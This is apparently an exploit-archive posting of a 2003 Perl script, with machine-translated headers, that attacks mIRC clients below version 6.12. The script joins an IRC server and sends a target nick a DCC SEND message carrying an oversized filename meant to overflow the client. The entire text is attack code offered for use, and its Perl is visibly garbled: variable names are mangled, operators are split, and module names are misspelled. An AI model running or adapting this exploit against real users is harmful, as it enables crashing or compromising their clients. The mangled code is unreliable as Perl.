Remote Exploit For Mirc Versions Below 6.12

Submits the code: powwow

Submits the date: 2003-11-05

Code attribute: long-distance

CODE
#! /usr/bin/perl -w
use IO::Socket;
# get irc server to connect to, and nick to exploit.
print " Enter Serv: "; chomp ($serv= < STDIN >);
print " Enter Nick: "; chomp ($nick= < STDIN >);

#setup connection
$ocket = IO::Socketc::inet- > new (
PeerAddr= >" $serv ",
PeerPort= > '6667'
) || die " could not connect to $serv: $! ";

#$| = 1;
#$ocket- > autoflush ();
ne= "";
until ( ne =~ /Ident/) {
$oldline= ne;
ne = < $ocket >;
if ($oldline ne ne) { print ne; }
}

print $ocket " user ident irc name ircname\n "; #send ident/ircname info

ne= "";
until ( ne =~/PING/) {
$oldline= ne;
ne = < $ocket >;
if ($oldline ne ne) { print ne; }
}


ne =~ s/. *://;
print $ocket " PONG: ne\n ";
print $ocket " nick thssmnck\n ";
print $ocket " privmsg $nick: DCC SEND \ " a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \ " 1079095848 666 \n ";